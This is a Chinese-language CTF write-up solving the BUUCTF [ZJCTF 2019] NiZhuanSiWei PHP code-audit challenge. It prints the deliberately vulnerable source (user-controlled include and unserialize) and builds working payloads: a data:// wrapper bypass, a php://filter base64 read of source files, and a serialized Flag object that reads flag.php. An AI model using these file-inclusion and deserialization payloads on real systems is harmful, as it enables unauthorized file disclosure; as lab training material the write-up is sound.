BUUCTF---[ZJCTF 2019]NiZhuanSiWei

他给的那个题目上看了一下没有其他信息,直接打开靶场

打开靶场以后可以看到以下代码,看样子是一道关于PHP代码审计的题目

php 复制代码
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

代码逻辑很清晰,我们需要传递三个GET参数:text、file、password来进行绕过

第一个绕过

先看第一个关于text的if

他的意思是要求 file_get_contents($text, 'r') 读取到的内容 严格等于 "welcome to the zjctf"。满足条件后页面就会输出显示以h1标题包裹的 "welcome to the zjctf,也就是 file_get_contents($text, 'r') 读取到的内容

我们不能直接传一个普通字符串,因为 file_get_contents() 期望的是一个文件路径或流 ,它会去读取这个"文件"的内容,然后与目标字符串进行===强比较

所以这里我们需要用到PHP data:// 伪协议 。这个协议允许我们将数据作为流来嵌入,相当于"模拟"了一个内容是 welcome to the zjctf 的文件。

第一个payload如下:

html 复制代码
?text=data://text/plain,welcome to the zjctf

可以看到页面直接输出了welcome to the zjctf

第二个绕过

接着看第二个if,这是一个过滤,意思是不能出现flag关键词,如果出现则直接退出程序,不是就能执行接下来的程序。

接着往下面看可以看到下面给我们提示了useless.php文件。应该是让我们看一下这个文件

接下来我们尝试访问useless.php这个文件,在这里我们需要用到另一个伪协议PHP php://filter 伪协议 。并且配合 convert.base64-encode 过滤器将内容编码输出,避免被当作PHP代码直接执行,从而看到明文。

第二个payload如下:

html 复制代码
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

其中 read= :显式指定过滤器应用于读取操作。

resource= 用于指定要过滤的目标资源(如文件路径、URL 等)。

可以看到文件内容以base64编码格式输出,我们将其解码得到以下内容

php 复制代码
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

通过这段代码我们可以知道useless.php 定义了一个 Flag 类,它有一个 __tostring() 魔术方法。

__tostring() 的触发条件 :当把类的对象当作字符串来使用 时(例如 echo $对象),这个方法会被自动调用。

在之前的代码中有一句 echo $password;,而 $password 是我们传参后经过反序列化得到的对象。

__tostring() 方法里的逻辑是:执行 file_get_contents($this->file) 并输出结果。

攻击思路 :我们需要让 $password 是一个反序列化后的 Flag 对象,并且这个对象的 $file 属性值为 flag.php。这样,当代码执行到 echo $password; 时,就会触发 __tostring(),从而帮我们读取 flag.php

造序列化数据 :根据 useless.php 中的类,编写一个简单的PHP脚本来生成我们需要的序列化字符串。

php 复制代码
<?php
class Flag{
    public $file = 'flag.php';
}
$a = new Flag();
echo serialize($a);
?>

运行这段脚本,得到序列化结果:

html 复制代码
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终Payload

  • text:仍用 data:// 伪协议绕过第一关。

  • file:现在需要真正包含 useless.php 这个文件,这样PHP才能知道 Flag 类的定义。注意不能再用 php://filter 了,直接写 useless.php 即可。

  • password:传入我们刚构造好的序列化字符串。

最终URL如下:

html 复制代码
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看页面源代码最终得到flag:

相关推荐
Xudde.2 小时前
班级作业笔记报告0x04
笔记·学习·安全·web安全·php
菩提小狗4 小时前
每日安全情报报告 · 2026-04-02
网络安全·漏洞·cve·安全情报·每日安全
XLYcmy5 小时前
一个针对医疗RAG系统的数据窃取攻击工具
python·网络安全·ai·llm·agent·rag·ai安全
汤愈韬5 小时前
网络安全概念及规范_2
网络安全·security
hughnz8 小时前
保护偏远地区的石油和天然气作业免受网络攻击:当数字世界崩溃时,物理世界就会崩溃
网络安全·能源
huachaiufo9 小时前
burpsuite代理链实现对google.com 访问
web安全·网络安全
祁白_9 小时前
Bugku:备份是一个好习惯
笔记·学习·web安全·ctf
芙莉莲教你写代码10 小时前
Flutter 框架跨平台鸿蒙开发 - 网络安全学习应用
学习·web安全·flutter·华为·harmonyos
永远的超音速10 小时前
buuctf逆向2
网络安全·逆向
OPHKVPS10 小时前
Metro4Shell攻击进行中:CVE-2025-11953高危漏洞正被用于入侵React Native开发者机器
安全·web安全